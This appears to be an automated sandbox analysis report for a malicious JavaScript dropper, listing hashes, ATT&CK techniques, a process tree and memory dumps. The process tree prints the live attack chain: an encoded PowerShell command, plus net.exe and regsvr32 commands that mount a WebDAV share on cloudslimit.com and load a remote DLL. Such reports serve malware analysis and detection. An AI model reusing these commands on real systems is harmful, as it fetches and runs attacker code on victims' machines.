2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 15:17

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General

Target

2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
Size

14KB
MD5

76b1c0c1f2ae1fe9dc55aa7f181ab628
SHA1

bf32a35f1d9d971cb1ed7e977b1cf8e177ee8479
SHA256

2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0
SHA512

d8f4723b2a154ff844556a0a09073380ec4b2f34b4ad6a39e558c781f8c0e4354168cddb770127992bf6a8835dcc4d92bfe07e462071c5cd5df0dff8b57aa3a2
SSDEEP

96:2qZILNtuhAjOSCG+I9PZL702KMCzK/pGPiKEKU1SbFAPFFZAPKzMlTYvYWw:tZUPOSJ+0ZL7tmpmoblr

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 588 wrote to memory of 2808	588	wscript.exe	30
PID 588 wrote to memory of 2808	588	wscript.exe	30
PID 588 wrote to memory of 2808	588	wscript.exe	30
PID 2808 wrote to memory of 2356	2808	powershell.exe	32
PID 2808 wrote to memory of 2356	2808	powershell.exe	32
PID 2808 wrote to memory of 2356	2808	powershell.exe	32
PID 2808 wrote to memory of 2908	2808	powershell.exe	33
PID 2808 wrote to memory of 2908	2808	powershell.exe	33
PID 2808 wrote to memory of 2908	2808	powershell.exe	33
PID 2808 wrote to memory of 2908	2808	powershell.exe	33
PID 2808 wrote to memory of 2908	2808	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
1⤵
- Suspicious use of WriteProcessMemory
PID:588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADIAMwA3ADUAMgA3ADUAMgAxADIAMQA3ADIANgAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2356
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\123752752121726.dll
    3⤵
    PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2808-4-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp

Filesize
4KB

Download
memory/2808-5-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2808-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2808-8-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-7-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-9-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-10-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download